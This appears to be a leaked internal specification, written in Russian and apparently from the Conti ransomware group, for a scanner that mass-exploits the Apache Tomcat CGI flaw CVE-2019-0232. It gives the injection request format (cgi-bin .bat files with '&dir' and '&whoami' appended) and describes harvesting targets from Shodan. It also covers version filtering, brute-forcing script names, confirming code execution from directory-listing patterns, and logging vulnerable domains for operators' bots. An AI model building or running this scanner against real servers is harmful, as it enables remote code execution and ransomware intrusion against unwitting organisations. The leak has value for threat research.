Conti Ransomware malware leak WITH LOCKER
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 

108 lines
4.1 KiB

СКАНЕР УЯЗВИМОСТИ APACHE TOMCAT/CGI-BIN (CVE-2019-0232)
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
ЦЕЛЬ
Необходимо разработать сканер доменов с уязвимостью CVE-2019-0232.
EXPLOIT
Суть эксплойта - в некорректном экранировании командной строки скрипта cgi-bin сервера Apache Tomcat.
Из-за этого возможно удаленное исполнение кода.
Если дать запрос вида
http://localhost/cgi-bin/hello.bat?&whoami
то в результате выполнится cmd.exe /c "whoami"
Подробности описаны по ссылкам:
https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/
https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/
РЕАЛИЗАЦИЯ
В качестве источника сканирования будем использовать сервис https://www.shodan.io/search?query=apache+tomcat
Для доступа к shodan.io нужна учетка. Но по идее это безопасно даже при реализации как модуль к боту.
Можно предварительно выкачивать нужные данные в формате .csv и загружать их отдельно в боты через конфиги.
Результатом сканирования является список записей с полями:
- URL исходного запроса (http://domain.com/cgi-bin/script.bat?&dir например)
- полный HTTP-ответ на запрос, включая все HTTP-заголовки и тело ответа
- URL whoami-запроса (http://domain.com/cgi-bin/script.bat?&whoami)
- полный HTTP-ответ на запрос whoami (см.ниже), включая все HTTP-заголовки и тело ответа
Алгоритм сканирования следующий:
1. парсим ответ shodan.io на данный запрос, учитывая пейджинг. Получаем из ответа имена сайтов.
ЛИБО работаем по .csv или .json-файлу, экспортированному с сервиса (это платная услуга на сервисе).
2. берем следующий домен с выхода сканера.
3. если в заголовках есть версия серверного ПО, убеждаемся что она меньше 7.0.94, 8.5.40 и 9.0.19 соответствено.
Если версия больше или равна, пропускаем домен, переходим к следующему.
Если версия меньше или отсутствует, продолжаем.
4. делаем запросы
http://domain.com/cgi-bin/hello.bat?&dir
http://domain.com/cgi-bin/hello.bat?&dir
http://domain.com/cgi-bin/test.bat?&dir
http://domain.com/cgi-bin/info.bat?&dir
http://domain.com/cgi-bin/0.bat?&dir
http://domain.com/cgi-bin/1.bat?&dir
Перебор продолжаем, либо пока не переберем все варианты скриптов, либо пока не получим нужный нам ответ.
Как можно видеть, названия файлов варьируются - эти имена лучше забить в массив в программе, и работать перебором.
Названия скриптов для пробы:
hello.bat
helloworld.bat
test.bat
index.bat
info.bat
sysinfo.bat
run.bat
tomcat.bat
0.bat
1.bat
2.bat
...
10.bat
Кроме того, для каждого имени скрипта нужно добавлять цифры от 0 до 9 к его имени.
То есть, для имени hello.bat мы попробуем следующие варианты:
hello.bat
hello0.bat
hello1.bat
..
hello9.bat
ВАЖНО: посмотреть почему метасплойт работает без подбора имени скрипта!
https://www.exploit-db.com/exploits/47073
ОТВЕТ: потому что там имя скрипта задается извне, т.е. мы скрипт на самом деле не знаем.
4. Если был получен код 200 в ответ, следует проанализировать ответ на предмет уязвимости:
- для команды dir в ответе всегда есть устойчивые паттерны
mm.dd.YYYY HH:mm <DIR> .
mm.dd.YYYY HH:mm <DIR> ..
Если этот паттерн присутствует в ответе:
- делаем запрос http://domain.com/cgi-bin/<script>.bat?&whoami
(здесь script - имя того скрипта, для которого удалось получить ответ 200 с искомым паттерном)
- добавляем в результирующий список запросы и ответы.
Сканер должен быть оформлен следующим образом:
* это может быть скрипт на распространенном скриптовом языке (например, python или PowerShell)
* скрипт должен вести лог в текущем каталоге, с именем $(script).log, где $(script) - это имя собственно скрипта
* лог должен иметь отметки даты-времени на каждое событие
* логирование может быть базовым и расширенным - переключается опцией командной строки
* в лог нужно добавлять следующие события:
- старт программы, с ее версией
- обнаружение домена с уязвимостью:
- домен
- версия софта
- полные HTTP-запросы и ответы
каждые Н минут (как вариант - итераций поиска) выводить статистику:
- % доменов просканировано, % уязвимых доменов найдено
- при расширенном логировании нужно логировать каждый HTTP-запрос и ответ (даже если по ним нет успеха).